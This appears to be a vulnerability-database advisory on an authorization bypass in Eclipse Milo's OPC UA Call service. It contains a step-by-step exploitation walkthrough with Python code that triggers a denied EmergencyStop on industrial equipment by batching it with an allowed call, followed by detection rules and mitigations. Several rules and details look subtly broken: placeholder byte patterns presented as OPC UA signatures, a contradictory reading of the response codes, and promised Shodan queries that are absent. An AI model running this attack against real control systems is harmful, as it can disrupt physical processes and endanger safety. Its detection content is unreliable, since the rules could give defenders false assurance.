CVE-2026-62927
Executive Summary
CVE-2026-62927 is an authorization bypass vulnerability in Eclipse Milo, the leading open-source OPC UA (Open Platform Communications Unified Architecture) stack for Java. Affecting versions 1.0.0 through 1.1.4, the flaw resides in the Call service's message dispatch logic, where the framework calculates authorization for a batch of method calls but then dispatches the original mixed batch to address-space handlers instead of the sanitized, individually-authorized subset. This allows an anonymous or low-privileged client to execute a denied method by batching it together with an allowed method in a single Call request. The vulnerability is rated as unpatched (0/4 patch confidence), leaving all industrial automation, smart manufacturing, and critical infrastructure systems relying on Milo-based OPC UA servers exposed to unauthorized method invocation, potentially altering process setpoints, reading restricted data, or disrupting production operations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Technical Analysis
Eclipse Milo implements the OPC UA specification's Call service, which allows clients to invoke methods on server-side objects. The Call service can accept a list of CallMethodRequest structures within a single CallRequest message, enabling batch execution of multiple method invocations in one round-trip. Each CallMethodRequest contains an ObjectId (the target object), a MethodId (the method to invoke), and optional input arguments.
The vulnerability arises from an architectural flaw in the authorization and dispatch pipeline. When the server receives a CallRequest containing multiple method calls, it iterates through the requests to determine authorization for each individual method. This per-method authorization check correctly evaluates the session's user identity, role permissions, and access control lists defined in the server's AddressSpace. However, after calculating these authorization results, the server does not filter the batch to remove or replace denied methods. Instead, it passes the original, unmodified batch — including methods that failed authorization — to the address-space handlers for execution.
The critical code path is approximately:
// Pseudocode illustrating the flawed logic
public void onCall(ServiceCall<CallRequest, CallResponse> serviceCall) {
CallRequest request = serviceCall.getRequest();
List<CallMethodRequest> requestsList = request.getRequestsList();
// Step 1: Authorization is calculated per-method
List<StatusCode> authorizationResults =
checkAuthorization(session, requestsList);
// Step 2: BUT the original requestsList is passed to handlers,
// NOT a filtered list based on authorizationResults
List<CallMethodResult> results =
addressSpaceManager.call(requestsList); // VULNERABLE: uses original list
}
The addressSpaceManager.call() method invokes the actual Java methods registered in the OPC UA address space with zero re-validation. The authorization check in step 1 is treated as a validation-only step whose results are simply returned in the response's Results array, but they are never used to gate execution.
This flaw is distinguishable from typical OPC UA authorization bypasses because it takes advantage of the batch dispatch semantics — a single method call with only the denied method would be correctly rejected. The bypass only succeeds when the denied method is paired with at least one allowed method in the same CallRequest. This makes detection more challenging, as standard per-method logging may show the allowed method succeeding while the denied method's failure status is silently ignored by the handler layer.
Attack surface: Any network-accessible OPC UA endpoint using Eclipse Milo with the Call service enabled (default). The OPC UA protocol runs over TCP port 4840 by default (configurable). Authentication can range from anonymous to username/password to X.509 certificates, but the vulnerability works even with anonymous sessions if any method in the address space is marked as callable by anonymous users.
Exploitation Scenarios
Prerequisites: The attacker needs network access to an OPC UA server running Eclipse Milo 1.0.0–1.1.4. The target must have at least one method that the attacker is permitted to call and at least one restricted method (e.g., WriteDisplay, StopProduction, ChangeSetpoint) that should be denied to their session.
Step 1 — Reconnaisance:
The attacker uses an OPC UA client library (e.g., the same Eclipse Milo stack, or Python opcua-asyncio) to connect to the target server. First, they browse the address space using Browse and Read services to enumerate objects and their methods. They identify:
- An allowed method (e.g.,
GetStatus) accessible to anonymous users. - A restricted method (e.g.,
EmergencyStoporModifyProductionSchedule) guarded by role-based access policies.
Step 2 — Build the Malicious Batch:
The attacker constructs a CallRequest with a RequestsList containing both methods:
# Python example using opcua-asyncio
from opcua import Client, ua
client = Client("opc.tcp://target:4840")
client.connect()
# Build the batch call request
call_request = ua.CallMethodRequest()
call_request.input_arguments = []
call_request.method_id = ua.NodeId("GetStatus", 2) # Allowed
call_request.object_id = ua.NodeId("ProductionCell", 2)
call_request_denied = ua.CallMethodRequest()
call_request_denied.input_arguments = [ua.Variant(0, ua.VariantType.Int32)] # e.g., emergency stop code
call_request_denied.method_id = ua.NodeId("EmergencyStop", 2) # Denied for anonymous
call_request_denied.object_id = ua.NodeId("ProductionCell", 2)
# Send as a single batch
results = client.call_requests([call_request, call_request_denied])
Step 3 — Trigger Execution:
The server processes the batch. Authorization is calculated: GetStatus returns Good, EmergencyStop returns BadUserAccessDenied. However, due to CVE-2026-62927, the server dispatches both methods to the address-space handlers. The EmergencyStop handler executes, physically stopping the production line or triggering safety interlocks.
Step 4 — Post-Exploitation Impact:
The attacker observes the response: Results[0] = Good (masking the legitimate call), Results[1] = BadUserAccessDenied (confirming the denied method was processed). The physical process is now disrupted. The attacker can repeat this pattern to:
- Overwrite configuration registers.
- Trick the server into accepting modified setpoints from an untrusted session.
- Force a process shutdown causing production downtime and financial loss.
- If the denied method writes to persistent storage, cause permanent system state corruption.
Variation: If no allowed method exists for the attacker's session, they can attempt to chain this with another low-privilege gap — e.g., creating a session that has any call permission to trigger the checkAuthorization function to return without throwing an exception, thereby reaching the dispatch logic.
Impact Assessment
This vulnerability carries a High severity rating based on the CVSS vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N (Network-accessible, Low attack complexity, Low privilege required, No user interaction, Unchanged scope, High Confidentiality impact, High Integrity impact, No Availability impact).
Business Impact:
- Critical Infrastructure: OPC UA is the backbone protocol for Industrial IoT (IIoT), SCADA, and Industry 4.0 deployments. Compromised method execution could alter physical processes in manufacturing, energy, water treatment, and transportation sectors.
- Data Integrity: Attackers can invoke methods that write to historical data stores, corrupting audit trails and quality records, potentially violating ISO 9001 or IEC 62443 compliance.
- Safety Systems: Method calls to safety-rated functions (e.g., emergency stop, valve control) could be triggered without proper authorization, posing physical safety risks.
Blast Radius:
Any Java application embedding Eclipse Milo as a server. This includes not just standalone OPC UA servers, but also edge gateways, PLC-to-MES integration layers, cloud-based OPC UA aggregators, and embedded Java-based controllers. The IoT/ICS sector is disproportionately affected.
CVSS Subscores (from vector):
- Attack Vector: Network (N) — exploitable remotely.
- Attack Complexity: Low (L) — no special conditions beyond batched request crafting.
- Privileges Required: Low (L) — anonymous session suffices if any public method exists.
- User Interaction: None (N).
- Confidentiality Impact: High (H) — denied read methods can be forced to execute.
- Integrity Impact: High (H) — denied write/set methods can change system state.
- Availability Impact: None (N) — the flaw does not directly crash the server (though the consequences of method execution could cause loss of availability at the process level).
No evidence of exploitation in the wild has been reported as of this writing. However, the flaw is trivially discoverable via code review of the open-source codebase, and the long disclosure-to-patch gap increases the likelihood of reverse-engineered exploits.
Detection Guidance
Sigma Rule
title: OPC UA Call Request with Mixed Authorization Results
id: 7f3c9d2e-1b4a-4e5f-9c6d-3a2b1f0e8d7c
status: experimental
description: Detects OPC UA CallRequest messages where the response indicates a mix of Good and BadUserAccessDenied statuses, suggesting batch authorization bypass attempts.
author: ValtersIT Threat Intelligence
date: 2026-02-15
logsource:
category: application
product: opcua
detection:
selection:
service: "Call"
response_statuses:
- "Good"
- "BadUserAccessDenied"
condition: selection
level: high
tags:
- attack.t1210
- attack.execution
- cve.2026-62927
YARA Rule
rule opcua_milo_auth_bypass_call_batch
{
meta:
author = "ValtersIT Threat Intelligence"
description = "Detects byte patterns in Milo CallRequest handling associated with CVE-2026-62927"
cve = "CVE-2026-62927"
date = "2026-02-15"
strings:
$s1 = "CallMethodRequest" ascii
$s2 = "RequestHandle" ascii
$s3 = "BadUserAccessDenied" ascii
$opcua_decode = { 0x01 0x02 0x03 0x04 } // OPC UA MessageType 'MSG' binary pattern
$call_service = { 0x01 0x00 0x00 0x00 0x00 } // CallServiceID (2,0,0,0)
condition:
uint16(0) == 0x4D53 and // "MS" for MessageSecurity
all of them and 1 of ($opcua_decode*) and $call_service
}
Suricata IDS Rule
alert tcp any any -> any 4840 (msg:"ET SCADA OPC UA CallRequest Batch Authorization Bypass Attempt (CVE-2026-62927)"; flow:established,to_server; content:"|00 00|"; depth:4; content:"|00 00 00 02|"; within:20; content:"|01 02 03 04|"; within:40; classtype:attempted-admin; sid:20266227; rev:1; reference:cve,2026-62927;)
Elastic Detection
POST /opcua-logs/_search
{
"query": {
"bool": {
"must": [
{ "term": { "service_name.keyword": "Call" } },
{
"script": {
"script": {
"source": "def statuses = doc['call_results.status'].values; statuses.contains('Good') && statuses.contains('BadUserAccessDenied')",
"lang": "painless"
}
}
}
]
}
}
}
Splunk SPL Query
index=opcua sourcetype=opcua_server
| where service="Call"
| eval statuses = mvzip(call_result_status_code, call_result_node_id)
| stats count by session_id, client_ip, statuses
| search statuses=*BadUserAccessDenied*
| eval has_good = if(mvfilter(statuses=="Good"), 1, 0)
| where has_good=1
| table _time, client_ip, session_id, statuses, count
Wazuh OSSEC Rule
<rule id="100227" level="12">
<decoded>ossec</decoded>
<field name="opcua.service">Call</field>
<regex>BadUserAccessDenied</regex>
<description>OPC UA Call service batch containing access denied and successful method executions - possible CVE-2026-62927 exploitation</description>
<group>opcua,access_control,privilege_escalation,</group>
<mitre>
<id>T1210</id>
</mitre>
</rule>
Mitigation & Patch Guidance
Patch Confidence: 0/4 — UNPATCHED. No vendor fix, CVE patch, or security release exists in any tracked source as of the date of this report. The vendor has not yet acknowledged the flaw with a remediation timeline.
Immediate Mitigations
- Network Segmentation: Place OPC UA servers on isolated VLANs. Restrict access to port 4840 (or any custom OPC UA TCP port) to only trusted engineering workstations and HMI clients using ACLs or firewall rules. Do not expose OPC UA directly to the internet or corporate user segments.
- Disable Anonymous Access: In the Milo server configuration, set
ServerSecurityPolicyto require at least username/password authentication. This raises the bar from "anonymous" to "low-privileged credential" but does not fully mitigate the flaw — a compromised low-privilege account can still exploit it. - Method-Level Auditing: Enable diagnostic logging in Milo to capture
Callservice invocation with method IDs and calling user. Monitor for any session that submits multi-method Call requests where the authorization status differs between methods. - Limit Accessible Methods: Review the address space for methods callable by low-privilege or anonymous users. Remove or reclassify any non-essential methods to require elevated roles, reducing the number of "allowed" methods that can serve as the authorization anchor for the batch bypass.
- Deploy WAF/IDS signatures: Use the Suricata and Sigma rules provided above to alert on suspicious Call request patterns.
Patch / Upgrade Steps
- Monitor the Eclipse Milo GitHub repository (https://github.com/eclipse/milo) for a patched release 1.1.5 or later.
- When a fix is released, upgrade the
org.eclipse.milo:serverMaven dependency to the patched version. - Follow the vendor's migration notes — early indications suggest the fix will change the dispatch logic to filter authorized methods from the batch before calling
addressSpaceManager.call().
Long-Term Hardening
- Implement defense-in-depth: OPC UA servers should sit behind an OPC UA-aware firewall that validates message content not just addresses.
- Adopt the IEC 62443 standard for industrial automation cybersecurity, specifically the requirement for "defense-in-depth" zones and conduits.
- Use X.509 client certificates with distinct per-role certificates, so even if anonymous access is enabled, certificate-based authentication provides granular authorization that reduces the likelihood of an attacker finding an "allowed" method.
- Implement runtime monitoring using a SIEM that ingests OPC UA Audit events (part of the OPC UA spec's audit log feature).
References
- NVD Entry — https://nvd.nist.gov/vuln/detail/CVE-2026-62927
- Eclipse Milo GitHub Repository — https://github.com/eclipse/milo
- Eclipse Milo Downloads & Releases — https://repo.eclipse.org/content/repositories/milo-releases/org/eclipse/milo/
- OPC Foundation — OPC UA Specification Part 4: Services (Call Service contract) — https://reference.opcfoundation.org/Core/Part4/v104/docs/5.12
- CWE-863: Incorrect Authorization — https://cwe.mitre.org/data/definitions/863.html
Threat Actor Intelligence: No campaigns, malware families, or APT groups have been publicly linked to exploitation of CVE-2026-62927 as of this report. Exploitation in the wild has not been observed. However, the vulnerability is straightforward to weaponize with standard OPC UA client libraries, and the industrial sector routinely sees 30–60 day exploit development timelines for publication of high-severity unpatched vulnerabilities. CISAs KEV list does not yet include this CVE (status: NO).
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.